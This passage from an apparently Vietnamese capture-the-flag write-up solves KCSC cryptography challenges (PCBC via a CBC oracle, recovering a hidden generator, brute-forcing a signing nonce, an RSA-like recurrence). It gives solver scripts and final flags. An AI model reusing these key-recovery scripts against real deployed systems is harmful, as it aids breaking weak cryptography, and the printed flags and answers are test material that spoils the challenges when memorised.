<p>  <img src="https://hackmd.io/_uploads/S1Z2Ty9DJe.png" alt="image" /></p>
</li>
<li><p>Vì hàm decrypt là mode <strong>CBC</strong> nên nó đã có bước ⊕ với <strong>IV</strong> (ciphertxt trước đó), để biến hàm decrypt thành mode <strong>PCBC</strong> thì thứ còn thiếu là ⊕ với <strong>plaintext</strong> trước đó thôi.</p>
</li>
<li><p>Nhận Ciphertext của <strong>Flag</strong> (option 3):</p>
<pre><code class="lang-plaintext">  bd1f37f09f2d51f0af5526862aacaa49978c6ec9d8ff8a1f1da21641fab8d49f45fd3bf409c2bfe61c7dba5b43e32e4618daf4c150a8962bf416fac9f58e6359abc1da5949259468ee2d1cfc3a043eee7abf310cc158078f6a42f59f70d1671cfa3969b1f99422a520bafd676941422787a6f96d5ee3c860f3638f87c77426ae48f8af7a9a64f3fc7759140ba9a44b7675509036cc976e35dcd4ad86caeb21cd100996b444a688608c3563e859fc2fc69054af99a0221e138b3b0ab449e01f62668f47531d396d5fc5cd972e2fe14c0413045fc349435789b6823e2645424157e4f556349f810b5c3937150b8b55b70077cc8713baecceabe1037cd1f56b9ee45a654528c87c3cf093e79dbdb0769652a20c88ec8a781381cebf3a766f5be2a2c67d48c7b1096e39818ea7e54d98cdec413073351bffcaaa6fd741a1106bc7798d81d6f0efc4eb8a3f5dbe474f19c01af6225dbd2746e800ce15a61ef086df12ee4c89a9b92505802a68d29f669611eab805bd7620ae57d7ee4b23cfd5b4b44014487aa3a8abab03435bf0399041a958c9b1f39643926554f4b816868d3df0d2d52dbdfee5fe9d0221cbc2a4665ccaa7a378f7e4155b2244adb189a1e966c2021aab4d7ac67b77c4e95ba05ac9c58d2f27e927530cb62d32c018c2fa3ab07360734aa6b29582b744fd53c8a556b75781d208e994e7022d8752687431175f79e4e139c3da765cbd79c400fa6f7fad47d41c42ab414dcc1de485e269d86c29112a55bfffaf8e4fd7aa9e7dec7a8d06d5b6ed4840772c2fd281ad2f6e893bf1132d5c01e92823abe29bdac8379806aafb869584b4e1c1b6ccb32f8405d580a84868
</code></pre>
</li>
<li><p>Sau đó đưa qua hàm <strong>decrypt</strong> (option 2), ta được output giải mã bằng <strong>CBC</strong> như sau:</p>
<pre><code class="lang-plaintext">  4b4353437b50726f7061676174696e6714203a3313350030120d08021f360d0f3e0a071906022d77322f2d20420b0b0d3e191c061e063849242a2c247637011537150030120d08021f360d0f3e0a071906022d3010331f0f0a360d1c04111a360d0e2f07172d5d0e0d060d1f3a1b1c3e0a07190602291f5431300e043b063716081d360a02285b51333a0930100a001400062c013a00040602093b3c1c0e310404062c0c312c190909333c0a18090b151116271d312b1b37152d0c19110f0406113a111a3b1109361e1b1b150d1e3e030d3a07310000051b1719000c021e73280916312801090f2d18032b1e06024200041d3c051c1c18360f147128210b310f262c202d141f100c42384b3e2a0600322f2d20343200023a5c3304080d1c3a1a18300a180037290d15083e1e07000d2716301d1b002c27373a142d121f1d072a113004043e1d06113a08063a140500161800110205361a1c0027042d071a060c1e2c3e0d0d2f1c0d172b150a11290b031a10343c0b150e0a00113a1a11360c0b3006053c101c161b1701713d29000502001207171a263336263b4330280c473a3e19361d0636372b22330415051145300f31290c0d1d1b1b3e051a2514070c0b3136183a171c0a2d3900012c012c0708300a05712b3d0b330f02172c371d214030070e4d2d2c1e18000502001301016f00130c171a26041c0c310e31332c30313a141d2b21092b400c31001a0a0e1e1b1f0200362638005e0c0d1d1b1b48330a1b14070c1c313e1a093c16031d4a34103e1a153a03330005022b07141b3c1f1c000d03001303131b1b041156095c776c
</code></pre>
</li>
<li><p>Sau đó tiến hành ⊕ block <strong>hiện tại</strong> (bắt đầu từ block 2 vì block 1 đã đúng rồi) với <strong>plaintext</strong> trước đó và lặp lại đến hết tất cả các khối của output là ta sẽ có được <strong>Flag</strong> ban đầu:</p>
</li>
<li><p><strong>Script:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> xor

  ct = bytes.fromhex(<span class="hljs-string">"4b4353437b50726f7061676174696e6714203a3313350030120d08021f360d0f3e0a071906022d77322f2d20420b0b0d3e191c061e063849242a2c247637011537150030120d08021f360d0f3e0a071906022d3010331f0f0a360d1c04111a360d0e2f07172d5d0e0d060d1f3a1b1c3e0a07190602291f5431300e043b063716081d360a02285b51333a0930100a001400062c013a00040602093b3c1c0e310404062c0c312c190909333c0a18090b151116271d312b1b37152d0c19110f0406113a111a3b1109361e1b1b150d1e3e030d3a07310000051b1719000c021e73280916312801090f2d18032b1e06024200041d3c051c1c18360f147128210b310f262c202d141f100c42384b3e2a0600322f2d20343200023a5c3304080d1c3a1a18300a180037290d15083e1e07000d2716301d1b002c27373a142d121f1d072a113004043e1d06113a08063a140500161800110205361a1c0027042d071a060c1e2c3e0d0d2f1c0d172b150a11290b031a10343c0b150e0a00113a1a11360c0b3006053c101c161b1701713d29000502001207171a263336263b4330280c473a3e19361d0636372b22330415051145300f31290c0d1d1b1b3e051a2514070c0b3136183a171c0a2d3900012c012c0708300a05712b3d0b330f02172c371d214030070e4d2d2c1e18000502001301016f00130c171a26041c0c310e31332c30313a141d2b21092b400c31001a0a0e1e1b1f0200362638005e0c0d1d1b1b48330a1b14070c1c313e1a093c16031d4a34103e1a153a03330005022b07141b3c1f1c000d03001303131b1b041156095c776c"</span>)

  <span class="hljs-comment"># 4b4353437b50726f7061676174696e67 là KCSC{Propagating</span>
  flag = ct[:<span class="hljs-number">16</span>]
  current_xor = ct[:<span class="hljs-number">16</span>]

  <span class="hljs-comment"># bỏ khối đầu tiên</span>
  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">16</span>, len(ct), <span class="hljs-number">16</span>):
      current_xor = xor(current_xor, ct[i:i+<span class="hljs-number">16</span>])
      flag += current_xor

  print(flag)
  <span class="hljs-comment"># b'KCSC{Propagating_cipher_block_chaining_(PCBC)The_propagating_cipher_block_chaining_or_plaintext_cipher-block_chaining[26]_mode_was_designed_to_cause_small_changes_in_the_ciphertext_to_propagate_indefinitely_when_decrypting,_as_well_as_when_encrypting._In_PCBC_mode,_each_block_of_plaintext_is_XORed_with_both_the_previous_plaintext_block_and_the_previous_ciphertext_block_before_being_encrypted._Like_with_CBC_mode,_an_initialization_vector_is_used_in_the_first_block._Unlike_CBC,_decrypting_PCBC_with_the_incorrect_IV_(initialization_vector)_causes_all_blocks_of_plaintext_to_be_corrupt.}\x03\x03\x03'</span>
</code></pre>
</li>
</ul>
<h3 id="heading-vem-medium">vem (medium)</h3>
<p><img src="https://hackmd.io/_uploads/HJW9V0sDye.png" alt /></p>
<ul>
<li><strong>Source:</strong></li>
</ul>
<pre><code class="lang-python">    <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> getPrime, bytes_to_long, long_to_bytes
    <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
    <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
    <span class="hljs-keyword">import</span> random
    <span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG
    FLAG = <span class="hljs-string">b'KCSC{?????????????????????????????????????????}'</span>

    G = getPrime(<span class="hljs-number">256</span>)
    p = getPrime(<span class="hljs-number">512</span>)
    q = getPrime(<span class="hljs-number">512</span>)
    N = p*q


    b, c = [random.randint(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>**<span class="hljs-number">64</span>) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>)]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">P_x</span>(<span class="hljs-params">x</span>):</span>
        <span class="hljs-keyword">return</span> x**<span class="hljs-number">2</span> + b * x + c

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">gift</span>(<span class="hljs-params">a</span>):</span>
        <span class="hljs-keyword">return</span> pow(G, P_x(a), N)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt_message</span>(<span class="hljs-params">msg, key</span>):</span>
        cipher = AES.new(key, AES.MODE_ECB)
        <span class="hljs-keyword">return</span> cipher.encrypt(msg).hex()

    MSG1 = bytes_to_long(<span class="hljs-string">b"Make KCSC"</span>)
    MSG2 = bytes_to_long(<span class="hljs-string">b"Great Again"</span>)

    options = <span class="hljs-string">"""
    1. Get gift
    2. Flag
    """</span>

    print(<span class="hljs-string">"I want to see you in KCSC"</span>)
    print(<span class="hljs-string">f"N = <span class="hljs-subst">{N}</span>"</span>)
    print(<span class="hljs-string">f'P(x) = x^2 + bx + <span class="hljs-subst">{c}</span>'</span>)
    print(<span class="hljs-string">'pay for g :)))))'</span>)
    print(<span class="hljs-string">"Choose your option"</span>)
    print(options)

    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
        <span class="hljs-keyword">try</span>:
            option = int(input(<span class="hljs-string">'&gt; '</span>))

            <span class="hljs-keyword">if</span> option == <span class="hljs-number">1</span>:
                msg = int(input(<span class="hljs-string">'Give me your msg: '</span>))
                print(<span class="hljs-string">f'Your gift: <span class="hljs-subst">{gift(msg)}</span>'</span>)

            <span class="hljs-keyword">elif</span> option == <span class="hljs-number">2</span>:
                key = pow(G, <span class="hljs-number">2</span>*MSG1 * MSG2, N)
                enc_flag = encrypt_message(pad(FLAG, <span class="hljs-number">16</span>), long_to_bytes(key)[:<span class="hljs-number">32</span>])
                print(<span class="hljs-string">f'Here is your enc_flag: <span class="hljs-subst">{enc_flag}</span>'</span>)

            <span class="hljs-keyword">else</span>:
                print(<span class="hljs-string">'Invalid option :(('</span>)
                exit()

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            print(<span class="hljs-string">'Error occurred :(('</span>)
            exit()
</code></pre>
<ul>
<li><p>Phân tích Source ta thấy rằng <strong>key</strong> được mã hóa bằng cách tính <code>pow(G, 2*MSG1 * MSG2, N)</code>, với giá trị <strong>MSG1</strong> và <strong>MSG2</strong> đã có, mục tiêu của ta là tìm được <strong>G</strong></p>
</li>
<li><p>Challenge cũng cho ta nhập vào một giá trị x bất kì để tính giá trị của Gift, trong đó:</p>
</li>
</ul>
<p>$$\text{Gift} \equiv G^{x^2 + bx + c} \pmod N$$</p><ul>
<li><p>Vì thế ta sẽ lợi dụng giá trị x này để tính lại giá trị \(G\) ban đầu.</p>
</li>
<li><p>Challenge chưa cho ta giá trị b nên ta sẽ tìm cách để triệt tiêu nó. Đầu tiên ta gửi ba giá trị x là -1, 1 và 0, được ba kết quả như sau:</p>
</li>
</ul>
<p>$$\begin{gather} \text{Gift}_{-1} = \text{G}^{-b + c + 1} \newline \text{Gift}_1 =\text{G}^{b +c + 1} \newline \text{Gift}_0 = \text{G}^{c} \end{gather}$$</p><ul>
<li>Lấy \(\text{Gift}_{-1}\) nhân với \(\text{Gift}_1\) được:</li>
</ul>
<p>$$\text{G}^{-b + c + 1} \times \text{G}^{b +c + 1} = \text{G}^{2c + 2} = \text{G}^{2c} \times \text{G}^{2} = \text{Gift}_0^2 \times \text{G}^{2}$$</p><ul>
<li>Vậy ta tính được giá trị của \(\text{G}^{2}\) là:</li>
</ul>
<p>$$\text{G}^{2} \equiv \text{Gift}_{-1} \times \text{Gift}_1 \times \text{Gift}_0^{-2} \pmod N$$</p><ul>
<li><p>Vì \(\text{G}\) chỉ lớn 256 bit nên \(\text{G}^{2}\) sẽ bé hơn N (1024 bit), ta chỉ cần tính căn bậc hai của \(\text{G}^{2}\) trên trường số thực là sẽ có được \(\text{G}\).</p>
</li>
<li><p><strong>Script:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
  <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
  <span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span> iroot

  g0 = <span class="hljs-number">68709246753718708670434009468603812974169730880153372110182606027552206350317791358757202779168733600759215556114409595644777258807639505704788072606532821696532807121688324431031050041320682016561540194647870403534914783447479491524407581399830011189381812922803275186625229630192946937561415007763234855418</span>
  g1 = <span class="hljs-number">34912588211485487865266218601704066950383917642724347506083898462113941064077455705169681005963342375593688421399108198203498076409644237969447450208571854706415271918417061971940103387042750662416626209121400964110421639401854909795659178421492644182031211590672462202637945253500739318723159856916161975048</span>
  g_1 = <span class="hljs-number">11186741340123775362088539391154861118292423476007589818009758364041151686393407198862771587531612692555053653337196730852015297901445970353774615829133233790769710578342099928560157910124055319112487021351081043889989246091356061788284924405098962070739530308884383115967974725358199407010468585449409245067</span>
  N = <span class="hljs-number">106204527447305751846882251060475772730437136941185872213298995208525994414059793295374996918284654725292034949561262467748493471889227649964473617275415214227226870761256042534830419906951817128862859251725033489046287902825423970540811544802157468312878182813317947896749764084503149466587697826296781850847</span>
  ct = bytes.fromhex(<span class="hljs-string">"6eef3cb780a4caae1efc2ad63a78f3709f73957299908d8992cad9de3ddb081a7fab79e52816f10ce689a6c645965fba44ce2b2ddba4d0e51a222b062b4b97c9"</span>)

  MSG1 = bytes_to_long(<span class="hljs-string">b"Make KCSC"</span>)
  MSG2 = bytes_to_long(<span class="hljs-string">b"Great Again"</span>)

  G2 = (g1 * g_1 * pow(g0, <span class="hljs-number">-2</span>, N)) % N
  G = iroot(G2, <span class="hljs-number">2</span>)[<span class="hljs-number">0</span>]

  key = long_to_bytes(pow(G, <span class="hljs-number">2</span>*MSG1 * MSG2, N))[:<span class="hljs-number">32</span>]

  cipher = AES.new(key, AES.MODE_ECB)
  print(cipher.decrypt(ct))
</code></pre>
</li>
</ul>
<p>Flag: <strong>KCSC{Congr4tulati0n_to_you_0n_5olving_chall_lor:)))}</strong></p>
<h3 id="heading-simple-lath-medium">Simple lath (medium)</h3>
<p><img src="https://hackmd.io/_uploads/By934Cow1g.png" alt /></p>
<ul>
<li><strong>Source:</strong></li>
</ul>
<pre><code class="lang-python">    <span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
    <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> bytes_to_long , getPrime
    <span class="hljs-keyword">from</span> math <span class="hljs-keyword">import</span> prod
    <span class="hljs-keyword">from</span> random <span class="hljs-keyword">import</span> choice ,randint
    <span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span>  *

    array = [i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>,<span class="hljs-number">1000</span>,<span class="hljs-number">2</span>)]
    n = prod([i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> array <span class="hljs-keyword">if</span> choice([<span class="hljs-number">0</span>,<span class="hljs-number">1</span>])])


    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sha256_</span>(<span class="hljs-params">plaintext</span>) :</span>
        <span class="hljs-keyword">return</span> bytes_to_long(sha256(plaintext).digest())

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sign</span>(<span class="hljs-params">x,m,g</span>) :</span>

        k = randint(<span class="hljs-number">1</span>,<span class="hljs-number">2</span>**<span class="hljs-number">18</span>)
        r = pow(g,k,n)
        s = ((m-x*r)*k)%n

        <span class="hljs-keyword">return</span> r,s,get_chances(k,n) <span class="hljs-comment"># from secret</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() :</span>

        print(<span class="hljs-string">"Welcom to my easy sign channel"</span>)
        print(<span class="hljs-string">"Can you guess my  private key ???"</span>)
        private_key = randint(<span class="hljs-number">2</span>**<span class="hljs-number">32</span>,<span class="hljs-number">2</span>**<span class="hljs-number">128</span>)
        print(<span class="hljs-string">f'Public key : <span class="hljs-subst">{hex(n)}</span>'</span>)


        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span> : 

            g = getPrime(<span class="hljs-number">128</span>)
            plaintext =  bytes.fromhex(input(<span class="hljs-string">"Input your plaintext :  "</span>))
            m = sha256_(plaintext)
            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span> : 

                r,s ,num_rounds = sign(private_key,m,g)
                <span class="hljs-keyword">if</span> num_rounds &gt; <span class="hljs-number">150</span> <span class="hljs-keyword">and</span> num_rounds &lt; <span class="hljs-number">999</span>:
                    <span class="hljs-keyword">break</span>

            print(<span class="hljs-string">f'g : <span class="hljs-subst">{hex(g)}</span>'</span>)
            print(<span class="hljs-string">f'r : <span class="hljs-subst">{hex(r)}</span>'</span>)
            print(<span class="hljs-string">f's : <span class="hljs-subst">{hex(s)}</span>'</span>)

            inp = int(input(<span class="hljs-string">"Do you want sign more (0/1)  "</span>))
            <span class="hljs-keyword">if</span> inp == <span class="hljs-number">0</span> :
                <span class="hljs-keyword">break</span>

        print(<span class="hljs-string">f'You have <span class="hljs-subst">{num_rounds}</span> chances ~.~  '</span>)
        <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(num_rounds) :

            private_user = int(input(<span class="hljs-string">f'Submit you private key : '</span>))
            <span class="hljs-keyword">if</span> private_user == private_key : 
                print(<span class="hljs-string">f'Here is your flag , cheater : <span class="hljs-subst">{flag}</span>'</span>)
                exit()

        print(<span class="hljs-string">f'Did you get what you wanted? '</span>)
        print(<span class="hljs-string">f'If not, here is my gift for your : <span class="hljs-subst">{f1ag}</span>'</span>)

    main()
</code></pre>
<ul>
<li>Quan sát source, ta biết rằng để có <strong>Flag</strong> thì phải gửi cho server giá trị đúng của khóa bí mật <strong>d</strong>, ta có công thức của khóa bí mật <strong>d</strong> như sau:</li>
</ul>
<p>$$s \equiv ((m-d\times r)\times k) \pmod n \hspace{3mm} (1)$$</p><p>$$\Leftrightarrow d \times k \equiv (s - m \times k) \times (-r)^{-1} \pmod n \hspace{3mm} (2)$$</p><ul>
<li><p>Lý do mình không nhân hai vế phương trình \((1)\) cho \(k^{-1}\) là vì \(n\) có rất nhiều ước, nên giá trị \(\text{GCD(k, n)}\) thường không phải 1 nên không thể triệt tiêu \(k\) được.</p>
</li>
<li><p>Giờ ta có phương trình \((2)\) là phương trình <strong>linear Congruence</strong>, tức là phương trình dạng \(A \times x \equiv B \pmod N\), nói sơ qua thì phương trình này có nghiệm khi và chỉ khi \(B\) chia hết cho \(\text{GCD(A, N)}\).</p>
</li>
<li><p>Bổ sung thêm là phương trình \(A \times x \equiv B \pmod N\) có 1 nghiệm khi \(\text{GCD(A, N) = 1}\), và có \(K\) nghiệm khi \(\text{GCD(A, N) = K}\), có thể xem cách giải ở <a target="_blank" href="https://youtu.be/ViqgSWoSxN8">đây</a>. Ở Challenge này thì \(\text{GCD(A, N)}\) thường khác 1 nên phương trình sẽ có kha khá nghiệm.</p>
</li>
<li><p>Quay trở lại với Challenge thì phương trình \((2)\) của ta chưa có giá trị \(k\) vì vậy ta sẽ tiến hành brute force \(k\) để tìm lại giá trị \(k\) ban đầu của server. Mình thấy rằng trong \(\text{GCD(k, N)}\) nghiệm của phương trình \((2)\) thì tất cả đều cho số rất lớn (xấp xỉ giá trị bit của n) trừ giá trị \(d\) vì nó vẫn có kích thước 128 bit.</p>
</li>
<li><p><img src="https://hackmd.io/_uploads/Bkinq9Mdyl.png" alt="image" /></p>
<p>  Vì thế khi ta <strong>brute force</strong> trúng giá trị \(k\) của Challenge thì ta sẽ lọc ra trong \(\text{GCD(k, N)}\) nghiệm đó giá trị nào 128 bit thì đó sẽ là giá trị \(d\) của ta. Có \(d\) thì gửi cho server và bài toán kết thúc.</p>
</li>
<li><p><strong>Script:</strong></p>
</li>
</ul>
<pre><code class="lang-python">    <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> GCD
    <span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> trange

    <span class="hljs-comment"># nhận các tham số của Challenge, m là hash của 01</span>
    n = <span class="hljs-number">0x255601e1de9c4aa1c5d7ed41d6ba8084c3a4f9f18169ce7dfed3833f787cbed3ec7cc2225d0f6b49f0fe28b2fd159105f513a10013696501e487ac6221b6dd8fc45b8fc313608227c381430524a27301c90751d616d52d4b720400994d8bde35703207f22cdf18f8f89e17c8421daef31e43f1ae99a77687c25dee9405a4c205dace678a9b2de1d49b818e7b78cb68bafbd48d4c781d6b98bac90e002c08f8c578aceff78c4296deb7aa6e3a03a8790813b27b67b33288a2998adc24c3b0c7f14da0c00b9ff397463c5a2f64e98688635a344ab0f3b2795e20f8ff1e53c6f82f72a14ccca3182a2146919bde3a6b169342b0fb6be1632286d4e1070dcf4e6b0f</span>
    m = <span class="hljs-number">34356466678672179216206944866734405838331831190171667647615530531663699592602</span>
    g = <span class="hljs-number">0x902bf7a457553a6244bd9389ac2b48b9</span>
    r = <span class="hljs-number">0x17bd57cb11862d85c09f1ab44734f7184ac5909ba3eeeb18c439833ebeeed43b711c75fcf302e31c18303daaa34a889c0005ad445e3822f75a151be3f9b0ee0691bad93efcd9741cb60fbea3b496cb321490fe696805abf958cb13b28429489214eeb2550b12876512dbc4fc20ee7ed72da896eca35e19fab9f6f45c8a46f8eedc50aea293ab1caac85a559804855aaa4a89a696225de33f099bdb7c67944e4ecb2e2d36427011f353acf2e21ad49f30519717fb373c819c0670e14d252570bd5e8ec454a861fe516bbcaee8664a61f0540f8068b5e9d427a7b34e191f4c3aa4d3bc05426f00a4fb4cf3d74afa8ad6f70797b9d01923b939ea1fc8d7fd8ca1f7</span>
    s = <span class="hljs-number">0xd56b8e0333b99b04cab487c1f54b1c8d4737b7ad1b1a2a19d972dc5cbca018596a6d529c5b07bf5dbd1c4eca998a26fa464c5f83eee7b50fc5bb6338633f9cca9e12fd53b6976f4394ceee049f2548f8be0679436ba2a4d845d5dbebfb0b16d2b97aad64d189dbd0a1197b6e6f0535b09641a9f1c6e950a12e0503090d170988204b806db26947fc3a652ebc45af35d4d2a8484ef90182638983cabbec2ad2eb85eefc6488630d27d3751802c7ee37bd6faa69686f85fc7a02844f421ee2bf60d5aff06c554c959d3b6eb30063ebca2edb149330fc04cfe7c7789f3a36ecc31cd985d0b7b1f78eea2f2b78c0b6ff30f68162c8073fd04ac88547fcf8610095f</span>

    <span class="hljs-comment"># https://www.geeksforgeeks.org/solve-linear-congruences-ax-b-mod-n-for-values-of-x-in-range-0-n-1/</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ExtendedEuclidAlgo</span>(<span class="hljs-params">a, b</span>):</span>

        <span class="hljs-comment"># Base Case</span>
        <span class="hljs-keyword">if</span> a == <span class="hljs-number">0</span> : 
            <span class="hljs-keyword">return</span> b, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>

        gcd, x1, y1 = ExtendedEuclidAlgo(b % a, a)

        <span class="hljs-comment"># Update x and y using results of recursive</span>
        <span class="hljs-comment"># call</span>
        x = y1 - (b // a) * x1
        y = x1

        <span class="hljs-keyword">return</span> gcd, x, y

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">linearCongruence</span>(<span class="hljs-params">A, B, N</span>):</span>

        A = A % N
        B = B % N
        u = <span class="hljs-number">0</span>
        v = <span class="hljs-number">0</span>

        <span class="hljs-comment"># Function Call to find</span>
        <span class="hljs-comment"># the value of d and u</span>
        d, u, v = ExtendedEuclidAlgo(A, N)

        <span class="hljs-comment"># No solution exists</span>
        <span class="hljs-keyword">if</span> (B % d != <span class="hljs-number">0</span>):
            print(<span class="hljs-string">"B mod gcd(k, n) != 0"</span>)
            exit()

        <span class="hljs-comment"># Else, initialize the value of x0</span>
        x0 = (u * (B // d)) % N
        <span class="hljs-keyword">if</span> (x0 &lt; <span class="hljs-number">0</span>):
            x0 += N

        <span class="hljs-comment"># Pr all the answers</span>
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(d):
            solutions.append((x0 + i * (N // d)) % N)

    <span class="hljs-comment"># phương trình của ta là:</span>
    <span class="hljs-comment"># x*k = ((s - m*k) * pow(-r, -1, n)) % n</span>

    found_d = <span class="hljs-literal">False</span>
    <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> trange(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>**<span class="hljs-number">20</span>):
        <span class="hljs-keyword">if</span> found_d: <span class="hljs-keyword">break</span>
        solutions = []
        B = ((s - m*k) * pow(-r, <span class="hljs-number">-1</span>, n)) % n

        <span class="hljs-keyword">if</span> B % GCD(k, n) == <span class="hljs-number">0</span>:
            linearCongruence(k, B, n) <span class="hljs-comment"># giải pt</span>
            <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> set(solutions):
                <span class="hljs-keyword">if</span> i.bit_length() &lt;= <span class="hljs-number">129</span>:
                    print(<span class="hljs-string">f"<span class="hljs-subst">{k = }</span>"</span>)
                    print(<span class="hljs-string">"d ="</span>, i)
                    found_d = <span class="hljs-literal">True</span>
                    <span class="hljs-keyword">break</span>
    <span class="hljs-comment"># k = 41600 </span>
    <span class="hljs-comment"># d = 299333094175056122872226309457434950402</span>
</code></pre>
<ul>
<li><strong>Flag</strong> của ta:</li>
</ul>
<p><img src="https://hackmd.io/_uploads/S1Lhih5w1x.png" alt="image" /></p>
<h3 id="heading-icecream-but-easier-easymedium">Icecream but easier (easy/medium)</h3>
<p><img src="https://hackmd.io/_uploads/ryC64RsvJx.png" alt /></p>
<ul>
<li><strong>Source:</strong></li>
</ul>
<pre><code class="lang-python">    <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
    <span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
    <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
    <span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> flag
    <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad 

    <span class="hljs-comment"># Copy from Wannagame Championship 2024</span>
    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">IceCream</span>:</span>
        <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, nbit: int</span>):</span>
            self.p = getPrime(nbit//<span class="hljs-number">2</span>)
            self.q = getPrime(nbit//<span class="hljs-number">2</span>)
            self.n = self.p * self.q
            self.phi = (self.p - <span class="hljs-number">1</span>) * (self.q - <span class="hljs-number">1</span>)
            <span class="hljs-comment"># self.e = getPrime(16) # a harder version</span>
            self.e = <span class="hljs-number">10001</span>
            self.secret1 = getPrime(<span class="hljs-number">384</span>)
            self.secret2 = getPrime(<span class="hljs-number">384</span>)
            self.d = inverse(self.e, self.phi)

        <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">wrap</span>(<span class="hljs-params">self</span>):</span>
            c = pow(self.secret1, self.e, self.n)
            c += self.secret2
            self.secret1 = c 
            <span class="hljs-keyword">return</span> c 


    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() :</span>

        cart = IceCream(<span class="hljs-number">512</span>)
        <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>) :
            print(cart.wrap())

        key = sha256(str(cart.wrap()).encode()).digest()[:<span class="hljs-number">16</span>]
        cipher = AES.new(key,AES.MODE_ECB)

        print(cipher.encrypt(pad(flag,<span class="hljs-number">16</span>)).hex())


    main()

    <span class="hljs-string">"""
    983988808468238406815261032742287398509539527772118186899154605157252213084385662543553125083212552614855410938487363846612472902230851873122019688775351 
    411920476721397965776323967885506259683504493586810231951685564745710311651646483406456114404428768195904417807999931167817184410508419226228074455888655
    4698285906809496129283017525468414276062165111247080417389967682278838749600348577192449627647158658589122409242574072399131912703350920146158705409829488
    2355255751438494111558900855149710130746636811000805924350928855795353027981395558758632216685403335142820213370399046347758646897427052652845539550759589
    b83519144a6ec70cf1d97e7b2bb952036e77260cac361ed742a190b3dddd1954717c41c8d8baaff729245b9a80e70e52d13150d59e12b6840f590102cb8a0891
    """</span>
</code></pre>
<ul>
<li><p>Quan sát source thì mình thấy rằng <strong>Flag</strong> của ta được mã hóa bằng AES và <strong>key</strong> của ta được tính từ <code>key = sha256(str(cart.wrap()).encode()).digest()[:16]</code>, vậy ta sẽ tiến hành đi phân tích hàm <strong>wrap()</strong> của class <strong>IceCream</strong>.</p>
</li>
<li><p>Gọi <strong>secret1</strong> là \(s_1\), <strong>secret2</strong> là \(s_2\), hàm <code>wrap()</code> của ta có chức năng tính toán một giá trị \(c\) như sau:</p>
</li>
</ul>
<p>$$c = (s_1^e \mod n) + s_2$$</p><ul>
<li>Và sau đó nó gán giá trị của \(c\) vừa tính được cho \(s_1\) và lặp lại quá trình tính toán trên. Vì Challenge lặp hàm <code>wrap()</code> 4 lần nên ta có 4 phương trình như sau:</li>
</ul>
<p>$$c_1 = (s_1^e \mod n) + s_2 \hspace{5mm} (1)$$</p><p>$$c_2 = (c_1^e \mod n) + s_2 \hspace{5mm} (2)$$</p><p>$$c_3 = (c_2^e \mod n) + s_2 \hspace{5mm} (3)$$</p><p>$$c_4 = (c_3^e \mod n) + s_2 \hspace{5mm} (4)$$</p><ul>
<li>Bây giờ yêu cầu của Challenge chính là tính được chính xác giá trị tiếp theo là \(c_5\), công thức như sau:</li>
</ul>
<p>$$c_5 = (c_4^e \mod n) + s_2$$</p><ul>
<li>Ta cần tìm \(s_2\), đã có giá trị của \(c_4\), \(c_3\) và \(e\), tính giá trị của \(s_2\) như sau:</li>
</ul>
<p>$$s_2 = c_4 - (c_3^e \mod n)$$</p><ul>
